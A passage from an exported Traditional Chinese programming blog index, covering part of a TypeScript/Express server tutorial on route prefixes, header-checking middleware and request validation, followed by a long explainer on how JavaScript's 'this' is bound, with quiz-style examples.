Route 的建構子中修改它： src/routes/auth.route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import AuthController from \u0026#34;../controllers/AuthController\u0026#34; import Route from \u0026#34;./route\u0026#34;; class AuthRoute extends Route{ private authController = new AuthController(); constructor() { super(); this.prefix = \u0026#39;/auth\u0026#39;; this.setRoutes(); } protected setRoutes() { this.router.get(\u0026#39;/login\u0026#39;, this.authController.echo); } } export default AuthRoute; src/routes/article.route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import ArticalController from \u0026#34;../controllers/ArticalController\u0026#34; import Route from \u0026#34;./route\u0026#34;; class ArticleRoute extends Route{ private articalController = new ArticalController(); constructor() { super(); this.prefix = \u0026#39;/articles\u0026#39;; this.setRoutes(); } protected setRoutes() { this.router.get(\u0026#39;/articles\u0026#39;, this.articalController.getArticlesPage); } } export default ArticleRoute; 最後，在 app.ts 中，載入 router 時加入 prefix 的設定： src/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import express from \u0026#39;express\u0026#39;; import { router } from \u0026#34;./routes/router\u0026#34;; const app: express.Application = express(); app.use(express.json()); app.use(express.urlencoded({ extended: false })); // load router for (const route of router) { app.use(route.getPrefix(), route.getRouter()); } module.exports = app; 如此一來，原本是 /login 的 url，在加上 prefix 之後，就會變成 /auth/login，而其他在 AuthRoute 定義的 url 也都會變成 /auth/*、在 ArticleRoute 定義的 url 也都會變成 /articles/*。\nMiddleware 在 Express 中，有三種可以嵌套 middleware 的方式：\n應用到單一 url 應用到單一 route 檔案 全域使用，每個請求都會經過這個 middleware 我們先寫一個簡單的 middleware，他只看請求的 header 裡面有沒有 Authorization，若沒有的話會回傳 status code 401：\nsrc/middleware/AuthMiddleware.ts 1 2 3 4 5 6 7 8 9 import { Request, Response, NextFunction } from \u0026#34;express\u0026#34;; export function AuthMiddleware(req: Request, res: Response, next: NextFunction) { if (!req.header(\u0026#39;Authorization\u0026#39;)) { return res.status(401).send(\u0026#39;unauthorized\u0026#39;); } next(); } 套用在單一 url 若你想套用在單一 url，只需要放在 router.METHOD 的第二個參數即可：\nsrc/routes/auth.route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import AuthController from \u0026#34;../controllers/AuthController\u0026#34; import AuthMiddleware from \u0026#34;../middleware/AuthMiddleware\u0026#34; import Route from \u0026#34;./route\u0026#34;; class AuthRoute extends Route{ private authController = new AuthController(); constructor() { super(); this.prefix = \u0026#39;/auth\u0026#39;; this.setRoutes(); } protected setRoutes() { this.router.get(\u0026#39;/login\u0026#39;, AuthMiddleware, this.authController.echo); } } export default AuthRoute; 套用在單一 route 檔案 套用在單一 route 檔案，則在該 route class 的建構子加入 (必須在 setRoutes() 之前)：\nsrc/routes/auth.route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import AuthController from \u0026#34;../controllers/AuthController\u0026#34; import AuthMiddleware from \u0026#34;../middleware/AuthMiddleware\u0026#34; import Route from \u0026#34;./route\u0026#34;; class AuthRoute extends Route{ private authController = new AuthController(); constructor() { super(); this.prefix = \u0026#39;/auth\u0026#39;; this.router.use(AuthMiddleware); // 必須在 setRoutes() 之前 this.setRoutes(); } protected setRoutes() { this.router.get(\u0026#39;/login\u0026#39;, this.authController.echo); } } export default AuthRoute; 全域使用 全域使用的話，就在 app.ts 裡面加上：\nsrc/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import express from \u0026#39;express\u0026#39;; import { router } from \u0026#34;./routes/router\u0026#34;; import AuthMiddleware from \u0026#34;../middleware/AuthMiddleware\u0026#34; const app: express.Application = express(); app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use(AuthMiddleware); // load router for (const route of router) { app.use(route.getPrefix(), route.getRouter()); } module.exports = app; Validator 若要驗證 Request body 或 query string 的內容，建議可以使用 express-validator 套件，裡面有各式各樣的驗證用 middleware 可供使用。\n1 npm install express-validator @types/express-validator 假設我們的登入表單需要有 username 和 password 兩個欄位，且最少要有四個字。\n我們能夠將這個驗證寫成 request 檔案： src/requests/AuthRequest.ts 1 2 3 4 5 6 7 8 import { check } from \u0026#34;express-validator\u0026#34;; import { showApiError } from \u0026#34;../middleware/AuthMiddleware\u0026#34;; export const loginRequest = [ check(\u0026#39;username\u0026#39;).exists().isLength({min: 4}), check(\u0026#39;password\u0026#39;).exists().isLength({min: 4}), showApiError ]; 改寫 AuthMiddleware ： src/middleware/AuthMiddleware.ts 1 2 3 4 5 6 7 8 9 10 11 import { Request, Response, NextFunction } from \u0026#34;express\u0026#34;; import { validationResult } from \u0026#34;express-validator\u0026#34;; export function showApiError(req: Request, res: Response, next: NextFunction) { const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }); } next(); } showApiError 是為了在有 input 錯誤發生時，能夠回傳對應的錯誤訊息而使用的 middleware，如果沒有它的話，validator 不會回傳錯誤訊息。\n接著我們在 auth route class 裡面載入這個 request： src/routes/auth.route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import AuthController from \u0026#34;../controllers/AuthController\u0026#34;; import Route from \u0026#34;./route\u0026#34;; import { loginRequest } from \u0026#34;../requests/AuthRequest\u0026#34;; class AuthRoute extends Route{ private authController = new AuthController(); constructor() { super(); this.prefix = \u0026#39;/auth\u0026#39;; this.setRoutes(); } protected setRoutes() { this.router.get(\u0026#39;/login\u0026#39;, loginRequest, this.authController.echo); } } export default AuthRoute; 如此一來 POST /login 的請求就會驗證 request body，當我的 username 輸入太短時，會得到以下錯誤：\n1 2 3 4 5 6 7 8 9 10 { \u0026#34;errors\u0026#34;: [ { \u0026#34;value\u0026#34;: \u0026#34;123\u0026#34;, \u0026#34;msg\u0026#34;: \u0026#34;Invalid value\u0026#34;, \u0026#34;param\u0026#34;: \u0026#34;username\u0026#34;, \u0026#34;location\u0026#34;: \u0026#34;body\u0026#34; } ] } 因為 request 其實就是 middleware 的陣列，因此若要嵌套其他 middleware 時，使用 Array merge 即可。\n","date":"2023-02-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52702210344_fe78a142e7_o.png","permalink":"https://blog.wayne-project.com/2023-02-21/ts-express-server/","title":"【Node.js】用 Typescript 與 Express 建立一個 server"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n在 JavaScript 中，「this 是什麼」絕對是讓人頭痛難題前三名。This 和物件方法息息相關，因此這篇文章會先介紹在物件方法、物件方法中的 this 是如何被決定的，把握一個簡單原則就可以知道 this 到底是誰，最後統整各個 this 的指向 😁\n講解 this 的文章已經超級無敵多了，而且每一篇都寫得很不錯，之前看完 What\u0026rsquo;s THIS in JavaScript? 系列之後覺得講解的很完整，若是沒有把握自己能夠講得更清楚或是以不同的角度切入，似乎就沒必要再寫一篇文章；\n若是想要「完全」搞懂 this，要付出的成本可能比你想像中要大得多。\n這裡所說的「完全」指的是無論在任何情況下，你都有辦法講出為什麼 this 的值是這樣，直接給大家一個範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 var value = 1; var foo = { value: 2, bar: function () { return this.value; } } //範例1 console.log(foo.bar()); //範例2 console.log((foo.bar)()); //範例3 console.log((foo.bar = foo.bar)()); //範例4 console.log((false || foo.bar)()); //範例5 console.log((foo.bar, foo.bar)()); 你能答的出來嗎？如果不行的話，代表你沒有「完全」懂 this。要完全懂 this 之所以要付出的成本很大，就是因為「完全懂 this」指的就是「熟記 ECAMScript 規範」。this 的值是什麼不是我們憑空想像的，其實背後都有完整的定義，而那個定義就是所謂的 ECMAScript 規範，你必須先搞懂這個規範，才有可能完全理解 this 在每個情況下所指涉的對象。\n若是你真的很想完全搞懂，推薦你這一篇：JavaScript 深入之从 ECMAScript 规范解读 this，我上面的範例就是從這一篇拿來的，想看解答、想理解為什麼的話可以去看這一篇。\n本篇教的方法，不會讓你把 this 完全搞懂，上面那五個範例你可能會答錯，但基本的題目你依舊可以解的出來，此文的目的是希望提供一個不同的角度來看 this，從為什麼會有 this 下手，再用一套規則來解釋 this 的值，至少讓你不再對 this 有誤解，也會知道一些常見的情境底下 this 到底是什麼。\n從物件導向開始談 this 若是你對 JavaScript 的物件導向完全沒概念，你可以先補完相關基礎，並且看完這篇：該來理解 JavaScript 的原型鍊了）\n如果你有寫過其他程式語言，你就知道 this 從來都不是一件什麼困難的事。它代表的就是在物件導向裡面，那個 instance 本身。\n舉個例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 class Car { setName(name) { this.name = name } getName() { return this.name } } const myCar = new Car() myCar.setName(\u0026#39;hello\u0026#39;) console.log(myCar.getName()) // hello 在上面我們宣告了一個 class Car，寫了 setName 跟 getName 兩個方法，在裡面用 this.name 來取放這個 instance 的屬性。\n為什麼要這樣寫？因為這是唯一的方法，不然你要把 name 這個屬性存在哪裡？沒有其他地方讓你存了。所以 this 的作用在這裡是顯而易見的，所指到的對象就是那個 instance 本身。\n以上面的範例來說，myCar.setName('hello')，所以 this 就會是 myCar。在物件導向的世界裡面，this 的作用就是這麼單純。\n或者換句話說：\n一但脫離了物件導向，其實 this 就沒有什麼太大的意義\n假設今天 this 只能在 class 裡面使用，那應該就不會有任何問題對吧？你有看過其他程式語言像是寫 Java 或是 C++ 的人在抱怨說 this 很難懂嗎？沒有，因為 this 的作用很單純。\n那問題是什麼？問題就是在 JavaScript 裡面，你在任何地方都可以存取到 this。所以在 JavaScript 裡的 this 跟其他程式語言慣用的那個 this 有了差異，這就是為什麼 this 難懂的原因。\n儘管 this 的定義不太一樣，但我認為本質上還是很類似的。要理解 this 的第一步就是告訴自己：「一但脫離了物件，就不太需要關注 this 的值，因為沒什麼意義」\n沒什麼太大意義的 this 1 2 3 4 5 function hello(){ console.log(this) } hello() this 的值會是什麼？\n延續我們前面所講的，在這種情況下我會跟你說 this 沒有任何意義，而且你千萬不要想成 this 會指到 hello 這個 function，沒有這種事。\n只要記得我前面跟你說的：「脫離了物件，this 的值就沒什麼意義」。\n在這種很沒意義的情況下，this 的值在瀏覽器底下就會是 window，在 node.js 底下會是 global，如果是在嚴格模式(strict)，this 的值就會是 undefined。\n這個規則應該滿好記的，幫大家重新整理一下：\n嚴格模式(strict)底下就都是 undefined 非嚴格模式，瀏覽器底下是 window 非嚴格模式，node.js 底下是 global 這個就是你在其他文章看到的「預設綁定」，但我在這篇不打算用任何專有名詞去談 this。我認為不用這些名詞也不會妨礙你的理解，甚至還有可能讓你更好理解。我也不是說專有名詞不重要，是說可以先把概念學起來，再回過頭來補專有名詞。\n一但脫離了物件，this 的值就沒什麼意義，在沒意義的情況底下就會有個預設值，而預設值也很好記，嚴格模式就是 undefined，非嚴格模式底下就是全域物件。\n更改 this 的值 僅管 this 可能有預設的值，但我們可以透過一些方法來改它。這改的方法也很簡單，一共有三種。\n前兩種超級類似，叫做 call 跟 apply，這兩種都是能夠呼叫 fucntion 的函式，我舉一個例子給你看比較好懂：\n1 2 3 4 5 6 7 8 \u0026#39;use strict\u0026#39;; function hello(a, b){ console.log(this, a, b) } hello(1, 2) // undefined 1 2 hello.call(undefined, 1, 2) // undefined 1 2 hello.apply(undefined, [1, 2]) // undefined 1 2 我們有一個叫做 hello 的函式，會 console.log 出 this 的值以及兩個參數。在我們呼叫 hello(1, 2) 的時候，因為是嚴格模式所以 this 是 undefined，而 a 跟 b 就是 1 跟 2。\n當我們呼叫 hello.call(undefined, 1, 2) 的時候，我們先忽略第一個參數不談，你可以發現他其實跟 hello(1, 2) 是一樣的。\n而 apply 的差別只在於他要傳進去的參數是一個 array，所以上面這三種呼叫 function 的方式是等價的，一模一樣。除了直接呼叫 function 以外，你也可以用 call 或是 apply 去呼叫，差別在於傳參數的方式不同。\ncall 跟 apply 的差別就是這麼簡單，一個跟平常呼叫 function 一樣，一個用 array 包起來。\n那我們剛剛忽略的第一個參數到底是什麼呢？\n你可能已經猜到了，就是 this 的值！\n1 2 3 4 5 6 7 \u0026#39;use strict\u0026#39;; function hello(a, b){ console.log(this, a, b) } hello.call(\u0026#39;yo\u0026#39;, 1, 2) // yo 1 2 hello.apply(\u0026#39;hihihi\u0026#39;, [1, 2]) // hihihi 1 2 就是如此簡單，你第一個參數傳什麼，裡面 this 的值就會是什麼。儘管原本已經有 this，也依然會被這種方法給覆蓋掉：\n1 2 3 4 5 6 7 8 9 class Car { hello() { console.log(this) } } const myCar = new Car() myCar.hello() // myCar instance myCar.hello.call(\u0026#39;yaaaa\u0026#39;) // yaaaa 原本 this 的值應該要是 myCar 這個 instance，可是卻被我們在使用 call 時傳進去的參數給覆蓋掉了。\n除了以上兩種以外，還有最後一種可以改變 this 的方法：bind。\n1 2 3 4 5 6 7 \u0026#39;use strict\u0026#39;; function hello() { console.log(this) } const myHello = hello.bind(\u0026#39;my\u0026#39;) myHello() // my bind 會回傳一個新的 function，在這邊我們把 hello 這個 function 用 my 來綁定，所以最後呼叫 myHello() 時會輸出 my。\n以上就是三種可以改變 this 的值的方法。你可能會好奇如果我們把 call 跟 bind 同時用會怎樣：\n1 2 3 4 5 6 7 \u0026#39;use strict\u0026#39;; function hello() { console.log(this) } const myHello = hello.bind(\u0026#39;my\u0026#39;) myHello.call(\u0026#39;call\u0026#39;) // my 答案是不會改變，一但 bind 了以後值就不會改變了。\n這邊還要特別提醒的一點是在非嚴格模式底下，無論是用 call、apply 還是 bind，你傳進去的如果是 primitive 都會被轉成 object，舉例來說：\n1 2 3 4 5 6 7 function hello() { console.log(this) } hello.call(123) // [Number: 123] const myHello = hello.bind(\u0026#39;my\u0026#39;) myHello() // [String: \u0026#39;my\u0026#39;] 詳細可以參考我另一篇文章 - 「使用 bind、call、apply 改變 this 指向的對象」，幫大家做個中場總結：\n在物件以外的 this 基本上沒有任何意義，硬要輸出的話會給個預設值 可以用 call、apply 與 bind 改變 this 的值 物件中的 this 最前面我們示範了在物件導向 class 裡面的 this，但在 JavaScript 裡面還有另外一種方式也是物件：\n1 2 3 4 5 6 7 8 const obj = { value: 1, hello: function() { console.log(this.value) } } obj.hello() // 1 這種跟一開始的物件導向範例不太一樣，這個範例是直接創造了一個物件而沒有透過 class，所以你也不會看到 new 這個關鍵字的存在。\n再繼續往下講之前，要大家先記住一件事情：\nthis 的值跟作用域跟程式碼的位置在哪裡完全無關，只跟「你如何呼叫」有關\n這個機制恰巧跟作用域相反，不確定我在說什麼的可以先看這篇：所有的函式都是閉包：談 JS 中的作用域與 Closure。\n舉個簡單的例子來幫大家複習一下作用域：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 var a = 10 function test(){ console.log(a) } const obj = { a: \u0026#39;ojb\u0026#39;, hello: function() { test() // 10 }, hello2: function() { var a = 200 test() // 10 } } test() // 10 obj.hello() // 10 obj.hello2() // 10 無論我在哪裡，無論我怎麼呼叫 test 這個 function，他印出來的 a 永遠都會是全域變數的那個 a，因為作用域就是這樣運作，test 在自己的作用域裡面找不到 a 於是往上一層找，而上一層就是 global scope，這跟你在哪裡呼叫 test 一點關係都沒有。test 這個 function 在「定義」的時候就把 scope 給決定好了。\n但 this 卻是完全相反，this 的值會根據你怎麼呼叫它而變得不一樣，還記得我們剛講過的 call、apply 跟 bind 嗎？這就是其中一個範例，你可以用不同的方式去呼叫 function，讓 this 的值變得不同。\n所以你要很清楚知道這是兩種完全不同的運行模式，一個是靜態（作用域）、一個是動態（this）。要看作用域，就看這個函式在程式碼的「哪裡」；要看 this，就看這個函式「怎麽」被呼叫。\n舉一個最常見的範例：\n1 2 3 4 5 6 7 8 9 10 const obj = { value: 1, hello: function() { console.log(this.value) } } obj.hello() // 1 const hey = obj.hello hey() // undefined 明明就是同一個函式，怎麼第一次呼叫時 this.value 是 1，第二次呼叫時就變成 undefined 了？\n記住我剛說的話：「要看 this，就看這個函式『怎麽』被呼叫」。\n再繼續往下講之前，先教大家一個最重要的小撇步，是我從 this 的值到底是什么？一次说清楚學來的，是一個很方便的方法。\n其實我們可以把所有的 function call，都轉成利用 call 的形式來看，以上面那個例子來說，會是這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 const obj = { value: 1, hello: function() { console.log(this.value) } } obj.hello() // 1 obj.hello.call(obj) // 轉成 call -\u0026gt; 1 const hey = obj.hello hey() // undefined hey.call() // 轉成 call -\u0026gt; undefined 而規則就是你在呼叫 function 以前是什麼東西，你就把它放到後面去。所以 obj.hello() 就變成了 obj.hello.call(obj)，hey() 前面沒有東西，所以就變成了hey.call()。\n轉成這樣子的形式之後，還記得 call 的第一個參數就是 this 嗎？所以你就能立刻知道 this 的值是什麼了！\n舉一個更複雜的例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const obj = { value: 1, hello: function() { console.log(this.value) }, inner: { value: 2, hello: function() { console.log(this.value) } } } const obj2 = obj.inner const hello = obj.inner.hello obj.inner.hello(obj.inner) obj2.hello(obj2) hello() 你可以不要往下拉，先想一下那三個 function 會各自印出什麼值。\n接著我要公布解答了，只要轉成我們上面講的那種形式就好：\n. . . . . . . . . .\n1 2 3 obj.inner.hello() // obj.inner.hello.call(obj.inner) =\u0026gt; 2 obj2.hello() // obj2.hello.call(obj2) =\u0026gt; 2 hello() // hello.call() =\u0026gt; undefined 特別講一下最後一個 hello 因為沒有傳東西進去，所以是預設綁定，在非嚴格模式底下是 window，所以會 log 出 window.value 也就是 undefined。\n只要你把 function 的呼叫轉成用 call 的這種形式，就很容易看出來 this 的值是什麼。\n這也是我前面一直在提的：「要看 this，就看這個函式『怎麽』被呼叫」，而你要看怎麼被呼叫的話，就轉成 call 的形式就行了。\n學到這邊，其實你看見九成與 this 相關的題目你都會解了，不信的話我們來試試看（為了可讀性沒有防雷空行，所以請自行拉到程式碼就好，再往下拉就會是解答了）：\n1 2 3 4 5 6 7 8 9 function hello() { console.log(this) } var a = { value: 1, hello } var b = { value: 2, hello } hello() a.hello() b.hello.apply(a) 只要按照我們之前說的，用 call 來轉換一下形式就好：\n1 2 3 hello() // hello.call() =\u0026gt; window（瀏覽器非嚴格模式） a.hello() // a.hello.call(a) =\u0026gt; a b.hello.apply(a) =\u0026gt; 直接用 apply，所以就是 a 再來一題比較不一樣的，要看仔細囉（假設在瀏覽器底下跑，非嚴格模式）：\n1 2 3 4 5 6 7 8 9 10 11 12 var x = 10 var obj = { x: 20, fn: function() { var test = function() { console.log(this.x) } test() } } obj.fn() 這題的話如果你搞錯，一定是你忘記了我們最重要的一句話：\n要看 this，就看這個函式「怎麽」被呼叫\n我們怎麼呼叫 test 的？ test()\n所以就是 test.call() 就是預設綁定，this 的值就會是 window，所以 this.x 會是 10，因為在第一行宣告了一個全域變數 x = 10。\n寫到這裡，再來幫大家做個回顧，避免大家忘記前面在講什麼：\n脫離物件的 this 基本上沒有任何意義 沒有意義的 this 會根據嚴格模式以及環境給一個預設值 嚴格模式底下預設就是 undefined，非嚴格模式在瀏覽器底下預設值是 window 可以用 call、apply 與 bind 改變 this 的值 要看 this，就看這個函式「怎麽」被呼叫 可以把 a.b.c.hello() 看成 a.b.c.hello.call(a.b.c)，以此類推，就能輕鬆找出 this 的值 不合群的箭頭函式 原本有關 this 的部分應該講到上面就要結束了，但 ES6 新增的箭頭函式卻有不太一樣的運作方式。它本身並沒有 this，所以「在宣告它的地方的 this 是什麼，它的 this 就是什麼」，好，我知道這聽起來超難懂，我們來看個範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const obj = { x: 1, hello: function(){ // 這邊印出來的 this 是什麼，test 的 this 就是什麼 // 就是我說的： 在宣告它的地方的 this 是什麼，test 的 this 就是什麼 console.log(this) const test = () =\u0026gt; { console.log(this.x) } test() } } obj.hello() // 1 const hello = obj.hello hello() // undefined 我們在 hello 這個 function 裡面宣告了 test 這個箭頭函式，所以 hello 的 this 是什麼，test 的 this 就是什麼。\n所以當我們呼叫 obj.hello() 時，test 的 this 就會是 obj；hello() 的時候 test 的 this 就會是全域物件。這規則其實都跟之前一樣，差別只有在於說箭頭函式的 this 不是自己決定的，而是取決於在宣告時那個地方的 this。\n如果你想看更複雜的範例，可以參考這篇：鐵人賽：箭頭函式 (Arrow functions)。\n實際應用：React 你有寫過 React 的話，就會知道裡面其實有些概念今天的教學可以派上用場，舉例來說，我們必須在 constructor 裡面先把一些 method 給 bind 好，你有想過是為什麼嗎？\n先來看看如果沒有 bind 的話會發生什麼事：\n1 2 3 4 5 6 7 8 class App extends React.Component { onClick() { console.log(this, \u0026#39;click\u0026#39;) } render() { return \u0026lt;button onClick={this.onClick}\u0026gt;click\u0026lt;/button\u0026gt; } } 最後 log 出來的值會是 undefined，為什麼？這細節就要看 React 的原始碼了，只有 React 知道實際上在 call 我們傳下去的 onClick 函式時是怎麼呼叫的。\n所以為什麼要 bind？為了確保我們在 onClick 裡面拿到的 this 永遠都是這個 instance 本身。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class App extends React.Component { constructor() { super() // 所以當你把 this.onClick 傳下去時，就已經綁定好了 this // 而這邊的 this 就是這個 component this.onClick = this.onClick.bind(this) } onClick() { console.log(this, \u0026#39;click\u0026#39;) } render() { return \u0026lt;button onClick={this.onClick}\u0026gt;click\u0026lt;/button\u0026gt; } } 還有另外一種方式是用箭頭函式：\n1 2 3 4 5 6 7 class App extends React.Component { render() { return \u0026lt;button onClick={() =\u0026gt; { console.log(this) }}\u0026gt;click\u0026lt;/button\u0026gt; } } 為什麼箭頭函式也可以？因為我們前面提過，「在宣告它的地方的 this 是什麼，它的 this 就是什麼」，所以這邊 log 出來的 this 就會是 render 這個 function 的 this，而 render 的 this 就是這個 component。\n如果你有點忘記了，可以把文章拉到最上面去，因為最上面我們就已經提過這些了。\n總結 默認綁定的規則 1 2 3 4 5 console.log(this) // window, strict 模式下返回 undefined function test() { console.log(this); // window } test(); // 純粹的調用 (Simple call) ==\u0026gt; window.test() 指向 window 隱式綁定規則 (誰呼叫就指向誰) 1 2 3 4 5 6 7 8 9 let a = 0; let obj = { a:2, foo: function(){ console.log(this); // obj =\u0026gt; obj 呼叫了 foo，因此 foo 裡的 this 指向為 obj } } obj.foo() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 let a = 0; let obj = { a:2, foo: function(){ console.log(this); // 返回 obj function test(){ console.log(this) // window } test() // obj 呼叫了 foo, 但 test 並不是由 obj呼叫的，而是純粹調用，因此 this 指向 window } } obj.foo() IIFE(立即執行函式) 1 2 3 4 5 6 7 8 9 10 let a = 0; let obj = { a:2, foo: function(){ (function(){ console.log(this); // window })(); // 立即執行函式(IIFE)都屬於純粹調用，所以 this 的指向都是 window } } obj.foo() 閉包 1 2 3 4 5 6 7 8 9 10 11 12 let a = 0; let obj = { a: 2, foo: function () { function test() { console.log(this) // window } return test } } obj.foo()() // obj.foo() 的返回值為 test，因此該表達式 == test() 屬於純粹調用，因此 this 指向 window 變數賦值的情況 1 2 3 4 5 6 7 8 9 10 11 12 13 let a = 0; function foo(){ console.log(this); } let obj = { a:2, foo // ES6簡寫 } obj.foo() // obj let bar = obj.foo // obj.foo == foo，該表達式的結果是把 foo 的引用地址賦值給了 bar bar() // 因此 bar == foo ，屬於純粹調用，this 的指向為 window 參數賦值的情況 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 let a = 0; function foo(){ console.log(this); } function bar(fn){ // 將傳進來的 obj.foo == foo 賦值給形參 fn fn() // == foo() 屬於純粹調用，因此 this 的指向為 window // 因此 this 的指向只需要關注函式最終是如何執行的即可 } let obj = { a:2, foo } bar(obj.foo) // obj.foo == foo 作為實參 阿里巴巴面試題 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var name = 222; var a = { name: 111, say: function () { console.log(this.name); }, }; var fun = a.say; fun(); // ? a.say(); // ? var b = { name: 333, say: function (fun) { fun(); }, }; b.say(a.say); // ? b.say = a.say; b.say(); // ? 答案：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var name = 222; var a = { name: 111, say: function () { console.log(this.name); }, }; var fun = a.say; fun(); // 222 a.say(); // 111 var b = { name: 333, say: function (fun) { fun(); }, }; b.say(a.say); // 222 b.say = a.say; b.say(); // 333 forEach 內的 this 指向 1 2 3 4 5 6 7 let arr = [1,2,3,4,5] let obj = { name : \u0026#34;obj\u0026#34; } // 在對應的 api 接口文檔中指明 arr.forEach(function(item, index, arr){ console.log(this); // 每次都輸出 obj }, obj) // 這裡的 obj 就是 arr.forEach 遍歷時的 this 指向 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 arr.forEach(function callback(currentValue[, index[, array]]) { // your iterator }[, thisArg]); // 參數: // callback // 這個 callback 函式將會把 Array 中的每一個元素作為參數，帶進本 callback 函式裡，每個元素各執行一次，接收三個參數： // currentValue // 代表目前被處理中的 Array 之中的那個元素。 // index (選擇性) // 代表目前被處理中的 Array 之中的那個元素的 index。 // array (選擇性) // 呼叫 forEach() 方法的那個 Array 本身，也就是上面語法中的 arr。 // thisArg (選擇性) // 執行 callback 回呼函式的 this（即參考之 Object）值。 // source: https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach 顯式綁定: call、apply、bind 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function foo() { console.log(this); // 打印 } let obj = { a: 2, foo } let bar = obj.foo obj.foo() // obj // 以下三種方式都能改變 this 的指向，將 bar 函式 的 this 指向改為 obj bar.call(obj) // obj bar.apply(obj) // obj bar.bind(obj)() // obj 1 2 3 4 5 6 7 function foo(){ console.log(this) } foo.call(1) // Number {1} foo.call(null) // this 指向 window foo.apply(undefined) // this 指向 window 建構式的顯式綁定實例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 function Product(name, price) { this.name = name; this.price = price; if (price \u0026lt; 0) throw RangeError(\u0026#39;Cannot create product \u0026#34;\u0026#39; + name + \u0026#39;\u0026#34; with a negative price\u0026#39;); return this; } function Food(name, price) { // new 後 this 的指向就是這個實例物件 console.log(this); Product.call(this, name, price); this.category = \u0026#39;food\u0026#39;; } Food.prototype = new Product(); function Toy(name, price) { Product.call(this, name, price); this.category = \u0026#39;toy\u0026#39;; } Toy.prototype = new Product(); let cheese = new Food(\u0026#39;feta\u0026#39;, 5); console.log(cheese); // Food {name: \u0026#39;feta\u0026#39;, price: 5, category: \u0026#39;food\u0026#39;} let fun = new Toy(\u0026#39;robot\u0026#39;, 40); console.log(fun); // Toy {name: \u0026#39;robot\u0026#39;, price: 40, category: \u0026#39;toy\u0026#39;} new 綁定 1 2 3 4 5 6 7 8 function Person(name=\u0026#39;haewon\u0026#39;, age=6){ this.name = name this.age = age console.log(this) // 這裡會打印 this } let me = new Person(\u0026#39;pupu\u0026#39;, 12) // 打印 Person {name: \u0026#39;pupu\u0026#39;, age: 12}，this 的指向為實例化的物件 Person() // 打印 window; 同時 window.name 的值為 \u0026#39;haewon\u0026#39;; window.age 的值為 6 優先級 顯式綁定 \u0026gt; 隱式綁定 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function foo(){ console.log(this.a); } let obj1 ={ a:\u0026#39;obj1\u0026#39;, foo } let obj2 ={ a:\u0026#39;obj2\u0026#39;, foo } obj1.foo() // obj1 obj2.foo() // obj2 obj1.foo.call(obj2) // obj2 obj2.foo.call(obj1) // obj1 new 綁定 \u0026gt; 顯式綁定 1 2 3 4 5 6 7 8 9 10 11 12 13 function foo(b){ this.a = b } let obj1 = {} let bar = foo.bind(obj1) bar(2) console.log(obj1.a) // 2 let bar_child = new bar(99) // new 將 this 的指向更改為 bar_child console.log(obj1.a); // 2 console.log(bar_child.a); // {a:99} Arrow function 的 this 指向 物件中的巢狀函式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 let a = 0 let obj = { a : \u0026#39;obj\u0026#39;, foo() { let that = this; console.log(this); function test() { console.log(this); // window console.log(that); // obj } test() // 也可以通過這種方式使 this 指向 obj 👇🏻 test.call(this) } } obj.foo() 箭頭函式中的 this 1 2 3 4 5 6 7 8 9 10 11 12 13 let a = 0 let obj = { a: \u0026#39;obj\u0026#39;, foo() { console.log(this); // obj let test = ()=\u0026gt;{ console.log(this); // obj } test() } } obj.foo() // =\u0026gt; 箭頭函式內部沒有 this 指向，箭頭函式的 this 指向是由外層函式的作用域決定的 更改箭頭函式的 this 指向 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function foo(){ let test = ()=\u0026gt;{ console.log(this); } return test } let obj1 = { a: \u0026#39;obj1\u0026#39;, foo } let obj2 = { a: \u0026#39;obj2\u0026#39;, foo } obj1.foo()() // 打印obj1 obj2.foo()() // 打印obj2 // =\u0026gt; 默認綁定規則(純粹調用) 對箭頭函式無效，因為箭頭函式里面沒有 this 嘗試隱式綁定 this 指向 1 2 3 4 5 6 7 8 9 let obj1 = { a: \u0026#39;obj1\u0026#39;, foo: ()=\u0026gt;{ console.log(this) } } obj1.foo() // window // =\u0026gt; 隱式綁定 對箭頭函式無效 嘗試顯式綁定 this 指向 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function foo(){ let test = ()=\u0026gt;{ console.log(this); } return test } let obj1 = { a: \u0026#39;obj1\u0026#39;, foo } foo()() // window let bar = foo().call(obj1) // window // =\u0026gt; 顯式綁定 對箭頭函式無效 new 運算子能否改變箭頭函式的 this 指向？ 1 2 3 4 5 6 7 let foo = ()=\u0026gt;{ console.log(this); } let test = new foo() // 報錯 Uncaught TypeError: foo is not a constructor // =\u0026gt; 箭頭函式不能作為建構式 // =\u0026gt; 所有綁定規則對箭頭函式都不適用; 箭頭函式的 this 取決於父環境中的 this 指向; =\u0026gt; 箭頭函式不存在 this 